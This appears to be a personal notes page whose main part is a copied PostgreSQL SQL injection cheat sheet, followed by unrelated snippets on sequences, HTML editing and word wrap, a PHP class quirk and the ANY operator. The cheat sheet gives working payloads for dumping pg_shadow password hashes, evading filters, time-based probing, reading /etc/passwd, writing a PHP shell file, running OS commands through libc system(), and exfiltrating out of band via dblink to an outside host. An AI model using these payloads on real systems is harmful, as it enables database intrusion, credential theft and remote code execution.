All stufff With postgres

Note:

#PostgreSQL and PHP supports Batched Queries.

Version:

SELECT VERSION()



Directories:

SELECT current_setting(‘data_directory’)

SELECT current_setting(‘hba_file’)

SELECT current_setting(‘config_file’)

SELECT current_setting(‘ident_file’)

SELECT current_setting(‘external_pid_file’)



Users:

SELECT user;

SELECT current_user;

SELECT session_user;

SELECT getpgusername();



Current Database:

SELECT current_database();



Concatenation:

SELECT 1||2||3; #Returns 123



Get Collation:

SELECT pg_client_encoding(); #Returns your current encoding (collation).



Change Collation:

SELECT convert(‘foobar_utf8′,’UTF8′,’LATIN1′); #Converts foobar from utf8 to latin1.

SELECT convert_from(‘foobar_utf8′,’LATIN1′); #Converts foobar to latin1.

SELECT convert_to(‘foobar’,'UTF8′); #Converts foobar to utf8.

SELECT to_ascii(‘foobar’,'LATIN1′); #Converts foobar to latin1.



Wildcards in SELECT(s):

SELECT foo FROM bar WHERE id LIKE ‘test%’; #Returns all COLUMN(s) starting with “test”.

SELECT foo FROM bar WHERE id LIKE ‘%test’; #Returns all COLUMN(s) ending with “test”.



Regular Expression in SELECT(s):

#Returns all columns matching the regular expression.

SELECT foo FROM bar WHERE id ~* ‘(moo|rawr).*’;
SELECT foo FROM bar WHERE id SIMILAR ‘(moo|rawr).*’;



SELECT Without Dublicates:

SELECT DISTINCT foo FROM bar



Counting Columns:

SELECT COUNT(*) FROM foo.bar; #Returns the amount of rows from the table “foo.bar”.



Get Amount of PostgreSQL Users:

SELECT COUNT(*) FROM pg_catalog.pg_user



Get PostgreSQL Users:

SELECT usename FROM pg_user



Get PostgreSQL User Privileges on Different Columns:

SELECT table_schema,table_name,column_name,privilege_type FROM information_schema.column_privileges



Get PostgreSQL User Privileges:

SELECT usename,usesysid,usecreatedb,usesuper,usecatupd,valuntil,useconfig FROM pg_catalog.pg_user



Get PostgreSQL User Credentials & Privileges:

SELECT usename,passwd,usesysid,usecreatedb,usesuper,usecatupd,valuntil,useconfig FROM pg_catalog.pg_shadow



Get PostgreSQL DBA Accounts:

SELECT * FROM pg_shadow WHERE usesuper IS TRUE

SELECT * FROM pg_user WHERE usesuper IS TRUE



Get Databases:

SELECT nspname FROM pg_namespace WHERE nspacl IS NOT NULL

SELECT datname FROM pg_database

SELECT schema_name FROM information_schema.schemata

SELECT DISTINCT schemaname FROM pg_tables

SELECT DISTINCT table_schema FROM information_schema.columns

SELECT DISTINCT table_schema FROM information_schema.tables



Get Databases & Tables:

SELECT schemaname,tablename FROM pg_tables

SELECT table_schema,table_name FROM information_schema.tables

SELECT DISTINCT table_schema,table_name FROM information_schema.columns



Get Databases, Tables & Columns:

SELECT table_schema,table_name,column_name FROM information_schema.columns



SELECT A Certain Row:

SELECT column_name FROM information_schema.columns LIMIT 1 OFFSET 0; #Returns row 0.

SELECT column_name FROM information_schema.columns LIMIT 1 OFFSET 1; #Returns row 1.

…

SELECT column_name FROM information_schema.columns LIMIT 1 OFFSET N; #Returns row N.



Conversion (Casting):

SELECT CAST(’1′ AS INTEGER) #Converts the varchar “1″ to integer.



Substring:

SELECT SUBSTR(‘foobar’,1,3); #Returns foo.

SELECT SUBSTRING(‘foobar’,1,3); #Returns foo.



Hexadecimal Evasion:

#Not as fancy as in MySQL, but it sure works!

SELECT decode(’41424344′,’hex’); #Returns ABCD.

SELECT decode(to_hex(65), chr(104)||chr(101)||chr(120)); #Returns A.



ASCII to Number:

SELECT ASCII(‘A’); #Returns 65.



Number to ASCII:

SELECT CHR(65); #Returns A.



If Statement:

#Impossible in SELECT statements.

#However, here’s a work-around with sub-select(s).

SELECT (SELECT 1 WHERE 1=1); #Returns 1.

SELECT (SELECT 1 WHERE 1=2); #Returns NULL.



Case Statement:

#May be used instead of the If-Statement.

SELECT CASE WHEN 1=1 THEN 1 ELSE 0 END; #Returns 1.



Read File(s):

CREATE TABLE file(content text);

COPY file FROM ‘/etc/passwd’;

UNION ALL SELECT content FROM file LIMIT 1 OFFSET 0;

UNION ALL SELECT content FROM file LIMIT 1 OFFSET 1;

…

UNION ALL SELECT content FROM file LIMIT 1 OFFSET N;

DROP TABLE file;



Write File(s):

CREATE TABLE file(content text);

INSERT INTO file(content) VALUES (‘’);

COPY file(content) TO ‘/tmp/shell.php’;



Logical Operator(s):

#http://en.wikipedia.org/wiki/Logical_connective

AND

OR

NOT



Comments:

SELECT foo, bar FROM foo.bar/* Multi line comment */

SELECT foo, bar FROM foo.bar– Single line comment



A few evasions/methods to use between your PostgreSQL statements:

CR (%0D); #Carrier Return.

LF (%0A); #Line Feed.

Tab (%09); #The Tab-key.

Space (%20); #Most commonly used. You know what a space is.

Multiline Comment (/**/); #Well, as the name says.

Parenthesis, ( and ); #Can also be used as separators when used right.



Parenthesis instead of space:

#As said two lines above, the use of parenthesis can be used as a separator.

SELECT * FROM foo.bar WHERE id=(-1)UNION(SELECT(1),(2));



Auto-Casting to Right Collation:

SELECT CONVERT_TO(‘foobar’,pg_client_encoding());



Benchmark:

#Takes about 7.5 seconds to perform this logical operation.

#Which can be compared to BENCHMARK(MD5(1),1500000) on MySQL.

SELECT (||/(9999!));



Sleep:

SELECT PG_SLEEP(5); #Sleeps the PostgreSQL database for 5 seconds.



Get PostgreSQL IP:

SELECT inet_server_addr()



Get PostgreSQL Port:

SELECT inet_server_port()



Command Execution:

CREATE OR REPLACE FUNCTION system(cstring) RETURNS int AS ‘/lib/libc.so.6′, ‘system’ LANGUAGE ‘C’ STRICT;

SELECT system(‘echo Hello.’);



DNS Requests (OOB (Out-Of-Band)):

SELECT * FROM dblink(‘host=www.your.host.com user=DB_Username dbname=DB’, ‘SELECT YourQuery’) RETURNS (result TEXT);



Having Fun With PostgreSQL:

* dblink: The Root Of All Evil
* Mapping Library Functions
* From Sleeping and Copying In PostgreSQL 8.2
* Recommendation and Prevention
* Introducing pgshell

That document can be found here: Having Fun With PostgreSQL.pdf, by: Nico Leidecker.

It’s a good read. All from local privilege escalation, to port-scanning techniques.

Connect sequence to table

ALTER TABLE TABLE_NAME ALTER COLUMN COLUMN_NAME SET DEFAULT nextval('sequence_name')

Editable Divsion

Edit this text

use onClick="this.contentEditable='true'; in div tag.

Top 10 javascript frameworks

http://www.ajaxline.com/10-most-popular-javascript-frameworks"

Word Wrap in html

style="border-bottom:2px solid blue;word-wrap: break-word"

WRAP=VIRTUAL

PHP CLASSES AND IF/ELSE BLOCK

//*********************************working
$flag='3';

if($flag=='3')
{
class cc {
function __construct() {
echo 'cc!';

}
}

}

$type = 'cc';
$obj = new $type;
//****************************************not working

$type = 'cc';
$obj = new $type;
$flag='3';

if($flag=='3')
{
class cc {
function __construct() {
echo 'cc!';

}
}

}


?>

postgresql-ARRAY

expression operator ANY (array expression)
expression operator SOME (array expression)

 The right-hand side is a parenthesized expression, which must yield an
array value.
The left-hand expression
is evaluated and compared to each element of the array using the
given operator, which must yield a Boolean
result.
The result of ANY is “true” if any true result is obtained.
The result is “false” if no true result is found (including the special
case where the array has zero elements).If the array expression yields a null array, the result of
ANY will be null.  If the left-hand expression yields null,
the result of ANY is ordinarily null (though a non-strict
comparison operator could possibly yield a different result).
Also, if the right-hand array contains any null elements and no true
comparison result is obtained, the result of ANY
will be null, not false (again, assuming a strict comparison operator).
This is in accordance with SQL's normal rules for Boolean combinations
of null values.

SOME is a synonym for ANY.